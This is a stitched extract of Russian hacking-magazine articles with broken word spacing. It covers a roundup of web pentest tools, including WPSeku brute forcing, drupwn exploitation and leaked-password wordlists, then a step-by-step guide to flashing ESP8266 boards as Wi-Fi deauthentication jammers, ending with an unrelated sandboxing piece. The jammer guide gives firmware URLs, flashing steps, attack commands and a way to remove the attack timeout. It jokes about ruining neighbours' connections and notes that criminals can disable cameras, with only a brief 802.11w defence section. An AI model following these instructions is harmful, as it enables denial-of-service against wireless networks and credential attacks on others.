Спи сок откры тых пор тов, обна ружен ных aquatone‐scan на иссле дуемых
под доменах

Со бира ем отве ты сер вера и скрин шоты
На сле дующем шаге мы можем соб рать дефол тные заголов ки и содер жимое
отве тов  обна ружен ных  хос тов,  а  так же  сде лать  скрин шоты.  В  этом  нам
поможет ути лита aquatone‐gather. Обра ти вни мание, что она тре бует наличия
«иксов» и Node.js, поэто му запус кать сто ит или на хос те с Linux, или в вир туал‐ 
ке.

Ре зуль тат работы ути литы будет сох ранен в четыре дирек тории с говоря‐ 
щими наз вани ями:

;• headers

;• html

;• screenshots

.• report

Про веря ем воз можность зах вата домена
Ну  и  в  кон це  пос мотрим  на  забытые  домены,  которые  мож но  перех ватить.
Такая  ситу ация  воз можна,  ког да  один  из  под доменов  ука зыва ет  на  хос тинг,
на  котором  ког да‐то  рас полагал ся  легитим ный  сер вис  ком пании,  но  затем
был  уда лен,  а  записи  в  DNS  оста лись.  В  этом  слу чае  поможет  aquatone‐
takeover.

От чет о работе aquatone‐takeover

ИССЛЕДУЕМ WORDPRESS НА УЯЗВИМОСТИ

 • Ав тор:m4ll0k
 • Ссыл ка: Github

Су щес тву ет  мно жес тво  ска неров  безопас ности  для  WordPress.  Инте рес
ресер черов к этой плат форме объ ясним: по раз ным оцен кам, в мире до сих
пор до чет верти всех сай тов работа ют на WordPress. Из блог‐плат формы он
дав но прев ратил ся в пол ноцен ный (пусть и кос тыль ный) фрей мворк для соз‐ 
дания пол ноцен ных сай тов. На WordPress дела ют пор талы, магази ны и даже
соци аль ные сети. И конеч но же, было бы стран но, если бы не сущес тво вало
мно жес тво  ска неров  безопас ности  для  WordPress.  Самый  извес тный
из них — wpscan, написан ный на Ruby. Одна ко есть и дру гие.

WPSeku — это удоб ный скрипт на Python 3, который поз воля ет тебе прос‐ 
канить основные дыры и утеч ки чувс тви тель ной информа ции в «Ворд прес се».
Из осо бен ностей выделю:

ана лиз заголов ков;•
дис клоз реаль ных путей на сер вере;•
по иск уяз вимых вер сий движ ка, пла гинов и тем;•
сбор информа ции о вер сиях соф та и обна руже ние карт сай та (sitemap);•
пе речис ление поль зовате лей  (в  том чис ле и адми нов, если они не скры‐ 
ты).

•

Из допол нитель ных опций мож но выделить брут логинов/паролей по сло варю
и ана лиз исходно го кода WP‐сай тов.

Ра бота ет и уста нав лива ется прос то:

# Окружение на третьем питоне
➜ virtualenv ‐‐no‐site‐packages ~/venv/wpseku
# Ставим зависимости
(wpseku) ➜ pip install ‐r requirements.txt
# Запускаем полный скан
(wpseku) ➜ python wpseku.py ‐‐url http://target.com:8080/ ‐‐verbose
   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
[ + ] Target: http://target.com/
[ + ] Server: nginx (Debian)
[ + ] Uncommon header "X‐Nginx‐Cache" found, with contents: HIT
[ i ] Checking Full Path Disclosure...
   [ + ] Full Path Disclosure: /var/www/html/wp‐includes/rss‐functi
ons.php
[ i ] Checking wp‐config backup file...
   [ + ] wp‐config.php available at: http://target.com/wp‐config.php
[ i ] Checking common files...
   [ + ] robots.txt file was found at: http://target.com/robots.txt
   [ + ] sitemap.xml file was found at: http://target.com/sitemap.
xml
   [ + ] sitemap.xml.gz file was found at: http://target.com/
sitemap.xml.gz
   [ + ] readme.html file was found at: http://target.com/readme.
html
   [ i ] Checking directory listing...
   [ i ] Checking wp‐loging protection...
   [ i ] Checking robots paths...
   [ + ] Robots was found at: http://target.com/robots.txt
   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
   User‐agent: *
   Disallow: /wp‐admin/
   Allow: /wp‐admin/admin‐ajax.php
   Sitemap: http://target.com/sitemap.xml
[ i ] Passive enumeration themes...
   [ + ] Name: woohoo
[ i ] Enumerating users...
| ID | Username | Login |
|:‐‐‐|:‐‐‐‐‐‐‐‐‐|:‐‐‐‐‐‐|
| 0  | admin    | admin |
| 1  | user     | user  |
...

Пе ребор учет ных записей выпол няет ся так же.

Брут форс логина и пароля через WPSeku

Ес ли  при  пен тесте  тебе  час то  попада ются  сай ты  на  WordPress,  поп робуй
WPSeku. Воз можно, в тво ем арсе нале най дет ся мес то и для него.

ИЩЕМ СКРЫТЫЕ ПАРАМЕТРЫ HTTP-ЗАПРОСОВ

 • Ав тор: Somdev Sangwan
 • Ссыл ка: Github

Ты, конеч но же, час то под став ляешь кавыч ки, ско боч ки и про чие стран ности
в  уяз вимые  парамет ры  GET‐  и  POST‐зап росов.  Иног да  руками,  что бы  пос‐ 
мотреть, не вывалит ся ли при ложе ние в ошиб ку, иног да авто мати зиро ван но
при поис ке инъ екций тул зами типа sqlmap. Одна ко, что бы что‐то под став лять,
нуж но знать параметр, куда имен но встав лять. Как пра вило, спи сок при нима‐ 
емых  query‐парамет ров  мож но  под смот реть,  прок сируя  зап росы  в  том  же
Burp. Одна ко на мно жес тве сай тов сущес тву ют скры тые парамет ры, которые
не вид ны. При чин может быть мно го:

ты не доб рался до зап росов с ними;•
с текущи ми пра вами они не под став ляют ся, но обра баты вают ся;•
за бытый API;•
от ладоч ные аргу мен ты.•

Ути лита arjun может най ти  такие скры тые парамет ры. Алго ритм работы сле‐ 
дующий:
1. Име ем вор длист со спис ком боль шого количес тва всех воз можных query‐
парамет ров.

2. Пос ледова тель но идем по нему.
3. Про веря ем  отве ты.  Если  параметр  отра жает ся,  зна чит,  он  потен циаль но
уяз вим.

Ищем скры тые парамет ры GET‐зап росов у глав ной стра ницы

Об рати вни мание, что скрипт тре бует requests и наличия вто рой вет ки Python.

ИЗУЧАЕМ ПОПУЛЯРНЫЕ ПАРОЛИ ИЗ СЛИВОВ

 • Ав тор: Ben «berzerk0»
 • Ссыл ка: Github

Нес мотря на то что сегод ня дос тупны бес плат ные и опен сор сные менед жеры
паролей  с  хорошей  репута цией  вро де    или  минима лис тично го

, мно жес тво даже прод винутых юзе ров про дол жают исполь зовать пяток
паролей, дер жа их в голове. Осо бен ность памяти такова, что люди за ред ким
исклю чени ем  более  склон ны  выбирать  прос тые  одно тип ные  пароли.  И  ста‐ 
тис тика убе дитель но это доказы вает.

KeePassXC
pass

Ав тор Probable Wordlists дол гое вре мя собирал раз личные утеч ки паролей,
сор тировал,  вычищал  дуб ликаты  и  арте фак ты  сли вов.  В  резуль тате  Бен
получил поч ти 13 мил лиар дов паролей. Затем он выб рал из них те, что встре‐ 
чались минимум пять раз, и в резуль тате мы име ем перед гла зами 2 мил лиар‐ 
да самых популяр ных в мире паролей, отсорти рован ных по  час тоте исполь‐ 
зования.

Та ковы, по сло вам авто ра, самые час тые пароли поль зовате лей.
Хорошая осно ва для сло вар ных атак

Дей стви тель но  фун дамен таль ная  работа,  и  я  пред лагаю  взгля нуть
как минимум на архив Real‐Passwords, даже если не занима ешь ся вос ста нов‐ 
лени ем паролей: это прос то инте рес но.

СОБИРАЕМ И ЭКСПЛУАТИРУЕМ БАГИ DRUPAL

 • Ав тор: immunIT
 • Ссыл ка: Github

Drupwn — доволь но све жая тул за для ана лиза Drupal‐сай тов. Она поз воля ет
как  собирать,  так  и  экс плу ати ровать  под ходящие  по  вер сии  уяз вимос ти.
В  пер вом  режиме  —  режиме  рекона  —  прог рам ма  собира ет  све дения
об ата куемом хос те. Вер сии соф та, юзе ры, модули, темы — drupwn поможет
вытянуть все это, исполь зуя пре дос тавлен ные куки или basic auth. Вдо бавок
мож но  ука зать  задер жки  меж ду  зап росами  и  объ емы  вытас кива емой
информа ции, что бы не вызывать силь ных подоз рений адми нис тра тора.

Со бира ем информа цию об ата куемом хос те

Вто рой режим — exploit — инте рак тивный. В нем drupwn про ана лизи рует сайт
и покажет под ходящие экс пло иты. Их мож но тут же про верить на экс плу ата‐ 
бель ность и запус тить. Для час ти понадо бят ся куки, так что не забудь ука зать
авто риза цион ные заголов ки.

Drupwn поз воля ет про тес тировать и при менить под ходящие спло иты

Прог рамма  тре бует  Python  3,  исполь зует  минимум  зависи мос тей.  Так же
в  ком плек те  есть  под готов ленный  Docker‐образ,  если  не  хочет ся  возить ся
с venv:

$ docker pull immunit/drupwn
$ docker run ‐‐rm ‐it immunit/drupwn enum <target>
...

А  если  хочет ся  пос мотреть  вжи вую,  коман да  раз работ чиков  не  полени лась
записать   для тебя.asciinema

ВЫЯВЛЯЕМ УЯЗВИМОСТИ MAGENTO

 • Ав тор: Steve Robbins
 • Ссыл ка: Github

Magento — мощ ная CMS для онлайн‐тор говли.  У  нас она не  так  популяр на,
но в осталь ном мире ее юза ют активно: от круп ных брен дов типа Nike и Burg‐
er King до локаль ных сто ров юве лир ки в Индии. Magento мощ ная, изу чен ная
и име ет огромное количес тво пла гинов и сто рон них интегра ций. А это зна чит,
что  в  мно гочис ленных  рас ширени ях  (да  и  в  самом  ядре)  иног да  всплы вают
доволь но неп рият ные баги.

Mage Scan — это тул за для сбо ра информа ции об инстан се Magento. Уме‐ 
ет  работать  как  с  пер вой  вет кой,  так  и  со  вто рой.  Ищет  пла гины,  собира ет
информа цию об уста нов ленном соф те и вер сии ядра. Так же Mage Scan пыта‐ 
ется  при  воз можнос ти  получить  количес тво  катего рий  и  про дук тов  иссле‐ 
дуемо го магази на.

Mage Scan дис кло зит вер сию ядра и спи сок уста нов ленных модулей

Прог рамма написа на на PHP и рас простра няет ся в виде  ‐фай ла..phar

ИЩЕМ УЯЗВИМЫЕ API-ЭНДПОЙНТЫ

 • Ав тор: Lalith Rallabhandi
 • Ссыл ка: Github

Уяз вимос ти в API во мно гом под чиня ются тем же пра вилам, что и на сай тах,
но потен циаль ный импакт у них куда шире: уяз вимые зап росы могут исполь‐ 
зовать ся как на сай тах, так и в мобиль ных при ложе ниях, и даже в дес ктоп ных
прог раммах.

Ис кать ошиб ки в них, конеч но же, мож но при выч ными инс тру мен тами вро‐ 
де боль ших  ком бай нов — все‐таки  это  веб, — но  чаще это  удоб нее делать
более  спе циали зиро ван ными  инс тру мен тами.  Гем   —  это  биб лиоте ка
на  Ruby,  которая  помога ет  авто мати зиро вать  поиск  раз личных  типов  багов
из OWASP  10.  Она  удоб на,  прос та  в  экс плу ата ции  и  уме ет  искать  тра дици‐ 
онные XSS, SQLi, XXE, опен редирек ты и мно гое дру гое. К сожале нию, не всег‐ 
да удоб но тыкать ся к irb или писать на каж дый чих свой наколе ноч ный скрипт.

Fuzzer

К  счастью,  коман да  Fuzzapi  раз вива ет  GUI  для  .  Тех ничес ки
это  прос тое  при ложе ние  на  Rails,  которое  име ет  в  зависи мос тях  API‐fuzzer
и поз воля ет через рель совый сер вер запус кать ска ны в удоб ном интерфей се,
а потом стро ить отче ты и прос матри вать исто рию ска нов.

API‐fuzzer

Fuzzapi в про цес се тес тирова ния эндпой нта
http://app:9091/api/v1/posts/search

Кста ти, что бы не возить ся с зависи мос тями и ИС для при ложе ния, раз работ‐ 
чики пре дос тавля ют  ‐файл со всем необ ходимым.docker‐compose

А на сегод ня все. Спа сибо, что дочитал!

http://stats.hackmag.com/pdf/rusanen@glc.ru
https://github.com/michenriksen/
https://github.com/michenriksen/aquatone
https://github.com/m4ll0k
https://github.com/m4ll0k/WPSeku
https://github.com/s0md3v
https://github.com/s0md3v/Arjun
https://berzerk0.github.io/GitPage/about/about-index.html
https://github.com/berzerk0/Probable-Wordlists
https://keepassxc.org/
https://www.passwordstore.org/
https://www.immunit.ch/
https://github.com/immunIT/drupwn
https://asciinema.org/a/J6dQmUJVskyHV07iARITfoLan
https://steverobbins.com/
https://github.com/steverobbins/magescan
https://github.com/lalithr95
https://github.com/Fuzzapi/fuzzapi
https://github.com/Fuzzapi/API-fuzzer
https://github.com/Fuzzapi/fuzzapi
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ВЗЛОМ

Wi‐Fi  jammer,  или  глу шил ка  Wi‐Fi,  —  это  гад жет,  который
пред назна чен  для  отклю чения  бес про вод ных  устрой ств
от  хот спо та.  Зачем  это  нуж но?  Можешь  вооб разить  себе
как дру жес кий розыг рыш (сосед, конеч но, обра дует ся, ког да
ты  обор вешь  его  пор норолик  или,  нап ример,  фут боль ный
матч на самом инте рес ном мес те), так и кри миналь ное при‐ 
мене ние:  зло умыш ленник  может  отклю чить  от  сети  камеры
сле жения  или  дру гое  важ ное  обо рудо вание.  В  этой  статье
мы  раз берем,  какие  есть  недоро гие  вари анты  аппа рат ных
деаутен тифика торов, как ими поль зовать ся и как защитить ся
от подоб ных атак.

КАК РАБОТАЕТ «ГЛУШИЛКА»
В  отли чие  от  нас тоящих  глу шилок,  которые  переби вают  сиг нал  ради опе‐ 
редат чика  сво им  более  силь ным  сиг налом,  деаутен тифика тор  работа ет
на  прог рам мном  уров не.  Он  реали зует  ата ку  типа  «отказ  в  обслу жива нии»,
отправ ляя на роутер фрейм деаутен тифика ции от име ни под клю чен ных к сети
устрой ств. Пос коль ку этот фрейм никак не шиф рует ся,  глу шил ке дос таточ но
выведать MAC‐адре са устрой ств, пос нифав тра фик в сети.

Обыч но  деаутен тифика ция —  это  часть  ком плексной  ата ки  на  сеть.  Она
исполь зует ся при соз дании «зло го двой ника» точ ки дос тупа либо для перех‐ 
вата хен дшей ка, что затем поз воля ет рас шифро вать пароль. Одна ко глу шил‐ 
ка может быть полез ной и сама по себе.

WARNING

Все  рас смот ренные  советы  нас тоятель но
рекомен дует ся  исполь зовать  толь ко  в  обра зова‐ 
тель ных  целях.  Бло киров ка  переда чи  дан ных
и  исполь зование  рас смот ренных  средств  может
прес ледовать ся  по  закону.  Для  про веде ния  тес‐ 
тов  на  про ник новение  тре бует ся  получить  соот‐ 
ветс тву ющее  пись мен ное  под твержде ние  заказ‐ 
чика.  Пом ни,  что  дан ные  о  деав ториза ции  сох‐ 
раня ются в логах роуте ра.

В  пос леднее  вре мя  боль шую  популяр ность  при обре ли  недоро гие  и  мини‐ 
атюр ные пла ты с под дер жкой прог рам мной плат формы NodeMCU. Они пос‐ 
тро ены на модуле ESP8266,  который реали зует работу  с Wi‐Fi  по  стан дарту 

  на  час тоте  .  Сей час  встре чает ся  два  вари анта  подоб ных
плат:  с  чипом CP2102  аме рикан ской  ком пании  Silicon  Labs  или  с  китай ским
CH340.

802.11b/g/n 2,4 ГГц

Вер сии NodeMCU

Эти  пла ты  позици они руют ся  как  устрой ства  для  про тоти пиро вания:  на  их
осно ве умель цы соз дают авто мати зиро ван ные сис темы, управля емые по Wi‐
Fi.  Тема  сама  по  себе  доволь но  зах ватыва ющая,  но  нас  сей час  инте ресу ет
дру гое — воз можность исполь зования NodeMCU для про веде ния атак.

Для пол ноцен ного монито рин га и инъ екции пакетов ESP8266 неп ригоден
в силу тех ничес ких огра ниче ний, одна ко его мож но исполь зовать в качес тве
деаутен тифика тора  —  что  и  при вело  к  появ лению  соот ветс тву ющих  про‐ 
шивок. В прош лом году хороший человек с псев донимом Spacehuhn зарели‐ 
зил пер вую из них, но с тех пор появи лись и дру гие вер сии — с допол нитель‐ 
ными воз можнос тями. Впро чем, преж де чем перехо дить к соф ту, опре делим‐ 
ся с выбором железа.

INFO

Ес ли  ты  выбира ешь  более  серь езное  обо рудо‐ 
вание для вар драй вин га — с режимом монито рин‐ 
га и, может быть, даже воз можностью про водить
MiTM‐ата ки  в  сети,  —  то  озна комь ся  с  нашим
прош логод ним 

.
FAQ  по  выбору  инс тру мен тария

для работы с бес про вод ными сетями

Я буду демонс три ровать про цесс на при мере пла ты китай ско го про изво дите‐ 
ля  Dstike:  на  ней  сто ит  ESP8266  и  есть  режимы  работы  в  качес тве  кли ента
(P2P)  и  точ ки  дос тупа  (soft‐AP).  Управлять  пла той  мож но  со  смар тфо на
или любого дру гого устрой ства с Wi‐Fi.

От мечу,  что  работос пособ ность  прог рам мно го  обес печения  не  зависит
ни  от  чипа,  ни  от  пла ты  —  ты  можешь  выб рать  любой  вари ант  по  сво ему
усмотре нию.  Одних  толь ко  про дук тов  Dstike  нес коль ко  вари антов  в  раз ном
исполне нии  и  для  исполь зования  в  раз ных  ситу ациях.  Все  их  объ еди няет
одно — воз можность глу шить сети.

Раз новид ности устрой ств Dstike
  —  брас лет  со  встро енным  дис пле ем,  батаре ей

и  перек лючате лем.  Удоб ное  устрой ство  для  быс тро го  дос тупа  к  панели
управле ния.

Deauther  Wristband

Пор татив ный Jammer

  —  с  модифи циро ван ным  кон трол лером  заряда;
управле ние осу щест вля ется через спе циаль ную панель. На кон трол лере есть
разъ ем для под клю чения внеш ней антенны. Акку муля торы в ком плект не вхо‐ 
дят.  Это  незамет ное  устрой ство,  которое  мож но  с  лег костью  оста вить
где‐нибудь и исполь зовать уда лен но.

Deauther  Power  Bank

Power bank

Кон трол лер заряда

 — в этом вари анте ты допол нитель но получишь разъ‐ 
ем  для  под клю чения  внеш ней  антенны  и  дер жатель  для  акку муля тора
на 18650 мА ⋅ ч. Управля ется устрой ство при помощи кно пок и перек лючате‐ 
ля,  а  вывод  пос тупа ет  на  экран,  что  поз воля ет  исполь зовать  этот  вари ант
без допол нитель ного обо рудо вания.

Deauther OLED V3.5

Го товый jammer с экра ном

Глав ное пре иму щес тво этих  гад жетов — в воз можнос ти выбора опре делен‐ 
ной  сети  или  всех  сра зу  в  ради усе  дей ствия  устрой ства.  Отме чу  на  вся кий
слу чай, что для про веде ния атак пароль от Wi‐Fi не пот ребу ется! :‐)

УСТАНОВКА DEAUTHER 2.0
Нач нем  с Deauther  2.0 —  той  самой  про шив ки,  которую раз работал Space‐
huhn. В его репози тории на GitHub ты можешь   для кон крет‐ 
ной пла ты.

выб рать вер сию

Фай лы  с  рас ширени ем  bin  —  это  ском пилиро ван ные  скет чи.  Их  нуж но
уста нав ливать на пла ту  через спе циаль ный  заг рузчик. Но если  захочешь,  то
в архи вах с исходным кодом ты оты щешь биб лиоте ки и скет чи, которые мож‐ 
но пос тавить через Arduino IDE.

Заг рузка .bin
Ес ли ты выб рал вари ант с заг рузкой бинар ника, то для начала запус кай прог‐ 
рамму NodeMCU Flasher. Ска чать ее мож но  .в репози тории NodeMCU

Ус танав лива ем драй веры для    либо для  . Пос ле это го под‐ 
клю чаем  пла ту  к  компь юте ру,  откры ваем  прог рамму  NodeMCU  Flasher,
выбира ем порт COM в дис петче ре устрой ств в раз деле «Пор ты (COM и LPT)».
Теперь перехо дим во вклад ку Config, жмем на шес терен ку и выбира ем ска‐ 
чан ный файл .bin.

CP2102 CH340

Прог рамма для про шив ки

Пос ле  добав ления  фай ла  в  стро ке  сле ва  появит ся  его  путь.  Перехо ди
во вклад ку Operation и нажимай на Flash — про шив ка пос ле это го будет заг‐ 
ружена в пла ту.

Заг рузка через Arduino IDE
Ес ли тебе удоб нее уста нав ливать через  ,  то про цесс слег ка дру‐ 
гой.  Пер вым  делом  точ но  так  же  кача ем  драй веры  ( ,  ).  Затем
откры ваем  Arduino  IDE  и  в  меню  «Файл»  ищем  «Нас трой ки»,  нажима ем
на «Добав ление ссыл ки для менед жера плат» и встав ляем две ссыл ки:

Arduino IDE
CP2102 CH340

• http://arduino.esp8266.com/stable/package_esp8266com_index.json
• http://phpsecu.re/esp8266/package_deauther_index.json

Все сох раня ем.

До бав ление ссы лок

От кры ваем  вклад ку  «Инс тру мен ты»  и  выбира ем  пункт  «Менед жер  плат»
из меню «Пла та: …».

До бав ление плат

Вы бира ем  «Вне сены»  и  уста нав лива ем    и 
.

arduino‐esp‐8266‐deauther es‐
p8266

Ус танов ка пакетов

От кры ваем  пап ку  со  скет чем  и  биб лиоте ками,  перехо дим  в  «Инс тру мен ты».
Нас трой ки дол жны сто ять как у меня на скрин шоте.

В стро ке «Пла та» выбирай из спис ка ESP8266 Deauther Modules.

Заг рузка про шив ки

В стро ке Flash size выбира ем свой модуль. Про шив ку и объ ем памяти ставь
как на кар тинке ниже.

Вер сии модулей

Да лее заг ружа ем про шив ку.
Пос ле  вклю чения  пла та  соз даст  точ ку  дос тупа.  Под клю чай ся  к  ней

и заходи по адре су 192.168.4.1 или deauth.me. Ты попадешь в кон фигура тор
и уви дишь пре дуп режде ние.

Пре дуп режде ние

В раз деле кон фигура ции в стро ке LANG ука зыва ем ru для вклю чения рус ско го
язы ка  в  веб‐интерфей се.  Что бы  нас трой ки  всту пили  в  силу,  нуж но  нажать
на  «Сох ранить»  и  перезаг рузить  устрой ство.  Теперь  оно  готово  к  работе,
мож но начинать пор тить жизнь соседям.

Продолжение статьи →

mailto:il.ryzhov@yandex.ru
https://xakep.ru/2017/10/12/wardriving-hardware/
https://github.com/spacehuhn/esp8266_deauther/releases
https://github.com/nodemcu/nodemcu-flasher
https://www.silabs.com/products/development-tools/software/usb-to-uart-bridge-vcp-drivers
https://sparks.gogo.co.nz/ch340.html
https://www.arduino.cc/en/Main/Software
https://www.silabs.com/products/development-tools/software/usb-to-uart-bridge-vcp-drivers
https://sparks.gogo.co.nz/ch340.html
http://arduino.esp8266.com/stable/package_esp8266com_index.json
http://phpsecu.re/esp8266/package_deauther_index.json


ГАСИ ВОЛНУ!
ВЫБИРАЕМ И НАСТРАИВАЕМ АППАРАТНЫЙ

ДЕАУТЕНТИФИКАТОР WI‐FI НА ESP8266

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ОБЗОР ВОЗМОЖНОСТЕЙ И НАСТРОЙКИ
Да вай  быс тро  прой дем ся  по  при ложе нию  и  пос мотрим,  на  что  теперь  спо‐ 
соб на наша плат ка.

Нас трой ки

Ес ли  под клю чить  глу шил ку  по  пос ледова тель ному  пор ту,  то  с  помощью
команд мож но  управлять  джем мером. Эту фун кцию мож но отклю чить  в  нас‐ 
трой ках, если убрать галоч ку SERIAL.

Коман ды для управле ния по пос ледова тель ному пор ту
• scan  [<all/aps/stations>]  [­t  <time>]  [­c  <continue­

time>] [­ch <channel>]

• show [selected] [<all/aps/stations/names/ssids>]

• select [<all/aps/stations/names>] [<id>]

• deselect [<all/aps/stations/names>] [<id>]

• add ssid <ssid> [­wpa2] [­cl <clones>]

• add ssid ­ap <id> [­cl <clones>] [­f]

• add ssid ­s [­f]

• add name <name> [­ap <id>] [­s]

• add name <name> [­st <id>] [­s]

• add name <name> [­m <mac>] [­ch <channel>] [­b <bssid>] [

­s]

• set name <id> <newname>

• enable random <interval>

• disable random

• load [<all/ssids/names/settings>] [<file>]

• save [<all/ssids/names/settings>] [<file>]

• remove <ap/station/name/ssid> <id>

• remove <ap/station/names/ssids> [all]

• attack [beacon] [deauth] [deauthall] [probe] [nooutput] [

­t <timeout>]

• attack status [<on/off>]

• stop <all/scan/attack>

• sysinfo

• clear

• format

• print <file> [<lines>]

• delete <file> [<lineFrom>] [<lineTo>]

• replace <file> <line> <new­content>

• copy <file> <newfile>

• rename <file> <newfile>

• run <file>

• write <file> <commands>

• get <setting>

• set <setting> <value>

• reset

• chicken

• reboot

• info

• // <comments>

• send deauth <apMac> <stMac> <rason> <channel>

• send beacon <mac> <ssid> <ch> [wpa2]

• send probe <mac> <ssid> <ch>

• led <r> <g> <b> [<brightness>]

• led <#rrggbb> [<brightness>]

• led <enable/disable>

• draw

• screen <on/off>

• screen mode <menu/packetmonitor/buttontest/loading>

Че рез  600  секунд  пос ле  начала  атак  они  авто мати чес ки  прек ратят ся.  Если
не хочешь, что бы это про исхо дило, то можешь вруч ную нас тро ить отклю чение
по вре мени, задав зна чение в меню ATTACKTIMEOUT: ука жи 0, и ата ки перес‐ 
танут авто мати чес ки отклю чать ся.

Ес ли в раз деле ска ниро вания нажать  , то глу шил ка находит все
точ ки дос тупа Wi‐Fi. Выбира ешь одну или нес коль ко сетей, и мож но перехо‐ 
дить  в  раз дел  атак.  Режим    отклю чает  все  устрой ства от  выб ранной
сети.  Режим    поз воля ет  соз давать  одновре мен но  до  60  точек  дос‐ 
тупа.

Scan APs

Deauth

Beacon

Ска ниро вание и виды атак

В раз деле   соз дают ся точ ки дос тупа для ата ки Beacon.SSIDs

Соз дание точек дос тупа

В  про шив ке  пре дус мотре на  воз можность  под клю чения  дис плея — для  вер‐ 
сии  устрой ства  с  ним.  Но  при  желании  ты  можешь  и  сам  при паять  к  пла те
экран и кноп ки, а так же обес печить авто ном ное питание, что бы прев ратить ее
в незави симое устрой ство.

Так же  раз работ чики  про шив ки,  помимо  самого  джем мера,  про дают
и устрой ство, которое поз воля ет его обна ружи вать.

Де тек тор

Ав торы пери оди чес ки обновля ют про шив ку и добав ляют новые фун кции, так
что сле ди за апдей тами!

WI-PWN
Рас смот рим ана логич ную про шив ку  , которую раз работал 
(samdenty99). Он улуч шил тво рение Spacehuhn и добавил фун кции детек тора
деаутен тифика ции,  а  так же  соз дал  сопутс тву ющее  при ложе ние  для  Android.
В ито ге исполь зовать Wi‐PWN удоб нее, чем Deauther 2.0.

Wi‐PWN Сэм Ден ти

Пос ле ска чива ния и рас паков ки архи ва пот ребу ется про шить пла ту и уста‐ 
новить  при ложе ние  на  телефон.  В  пап ке  ты  най дешь  прог рамму  ES‐
P8266Flasher. Запус ти ее, выбирай COM‐порт и в раз деле Config — про шив ку
(она  находит ся  по  пути  ).  Теперь  жми
Flash во вклад ке Operation.

*\Wi‐PWN‐master\arduino\Wi‐PWN

С телефо на под клю чаем ся к пла те по Wi‐Fi.

Сеть Wi‐Fi

От кры ваем  ска чан ное  при ложе ние,  сог лаша емся  с  пра вила ми,  ука зыва ем
имя и пароль сети. Пос ле нас трой ки под клю чаем ся к новому Wi‐Fi.

Нас трой ка точ ки дос тупа и завер шение уста нов ки

В при ложе нии есть нес коль ко вкла док с говоря щими наз вани ями:
 — раз дел с поис ком и выбором нес коль ких точек дос тупа;• Scan

 — фун кция ска ниро вания опре делен ного Wi‐Fi на наличие под клю‐ 
чений и соз дание собс твен ных «поль зовате лей»;

• Users

  —  ата ки  ана логич ны  вер сии  Spacehuhn,  но  при  кло ниро вании
сетей мак сималь ное чис ло поль зовате лей — 48 вмес то 60 (столь ко было
в ран них вер сиях Deauther);

• Attack

  —  фун кция,  которая  поз воля ет  ска ниро вать  каналы  и  опре‐ 
делять глу шил ки;

• Detector

 — нас трой ка сер вера Wi‐Fi (имя, пароль сети). Здесь же мож но
вклю чить кли ент Wi‐Fi и нас тро ить парамет ры ска ниро вания и ата ки.

• Settings

WARNING

Для  ста биль ной  работы  устрой ства  рекомен дую
прик репить ради атор к гре ющей ся час ти устрой‐ 
ства. В про тив ном слу чае джем мер может перег‐ 
реть ся и вык лючить ся.

ПАРА СЛОВ О ЗАЩИТЕ
NodeMCU —  это  дешевое,  уни вер саль ное,  мощ ное  и  ком пак тное  решение
для  деаутен тифика ции.  Пов торить  весь  про ект  мож но  быс тро  и  без  осо бых
уси лий. А раз это может сде лать кто угод но, то неп лохо подумать и о защите.

Боль шинс тво  популяр ных  роуте ров  исполь зуют  стан дарты  IEEE
802.11b/g/n,  которые  под верже ны  глу шению.  Если  хочешь  исклю чить  такую
веро ятность,  то ищи роутер с под дер жкой стан дарта 802.11w,  который пол‐ 
ностью защища ет поль зовате лей от этой ата ки.

В некото рых роуте рах есть защита от спа ма, но она работа ет толь ко с под‐ 
клю чен ными  к  сети  устрой ства ми,  а  Wi‐Fi  jammer  к  сети  не  под клю чает ся.
Если у тво его роуте ра есть защита от спа ма, которая работа ет и с непод клю‐ 
чен ными устрой ства ми, то советую ее акти виро вать!

WWW

,
любов но соб ранная Оле гом Куп реевым
Под борка  полез ностей  для  работы  с  ESP8266

https://github.com/samdenty99/Wi-PWN
https://samdd.me/
https://github.com/0x90/esp-arsenal


ВСЕ ПО
ПЕСОЧНИЦАМ!

ЗАПУСКАЕМ ПРИЛОЖЕНИЯ
В ОТДЕЛЬНЫХ ВИРТУАЛКАХ

С ПОМОЩЬЮ APPVM

dump_stack()

ПРИВАТНОСТЬ

Ес ли  ты  дей стви тель но  заботишь ся  о  безопас ности,  то
некото рые  при ложе ния  есть  смысл  запус кать  в  вир туали‐ 
зации.  Обыч но  это  соз дает  мас су  проб лем:  дер жать  три
десят ка вир туалок неудоб но и оста ется соб лазн «по‐быс тро‐ 
му»  что‐то  запус тить  на  хос те.  Мне  уда лось  обой ти  часть
неудобств. Свое решение я наз вал AppVM — оно работа ет
в  Linux  и  поз воля ет  запус кать  при ложе ния  с GUI  и шей рить
фай лы с основной сис темой; овер хеды при этом минималь‐ 
ны. Как я это го добил ся? Сей час рас ска жу.

Я  дей стви тель но  люб лю  Qubes.  Если  ты  с  ним  не  стал кивал ся,  пояс ню:
это дис три бутив, пос тро енный на базе гипер визора Xen, который поз воля ет
соз давать  домены —  чес тные  вир туаль ные  окру жения,  внут ри  которых  при‐ 
ложе ния работа ют в изо ляции. Ты можешь соз давать домены на базе раз ных
дис три бути вов  (обра зов),  и  они  смо гут  общать ся  меж ду  собой:  нап ример,
шей рить фай лы. В Qubes доменов может быть сколь ко угод но: work, personal,
vault — соз давай и называй  как  хочешь. Зву чит неп лохо,  но есть  ли аль тер‐ 
нативы и нуж ны ли они?

Ес ли бы не Xen (вмес то гипер визора :)) и отсутс твие воз можнос ти исполь‐ 
зовать соз данные его раз работ чиками ути литы вне окру жения дис три бути ва,
то я бы им даже поль зовал ся. Но, на мой взгляд, Xen не под ходит хотя бы тем,
что в отли чие от KVM он не в ядре в апс три ме. Пред лагать кому‐то уста нав‐ 
ливать Xen, толь ко что бы вос поль зовать ся какой‐то тул зой, — сом нитель ное
удо воль ствие. В Qubes самом по себе тоже ничего пло хого нет, но его нуж но
уста нав ливать и нас тра ивать. Гораз до про ще начать встра ивать все хорошее
из Qubes к себе в уют ную Gentoo, чем ломать годами отла жен ную сис тему.

Од нако  идея  безопас ности  через  вир туали зацию  (security  through  virtual‐
ization)  меня  по‐преж нему  прив лекала,  поэто му  что‐то  нуж но  было  с  этим
делать.

Зачем вооб ще исполь зовать Qubes или запус кать при ложе -
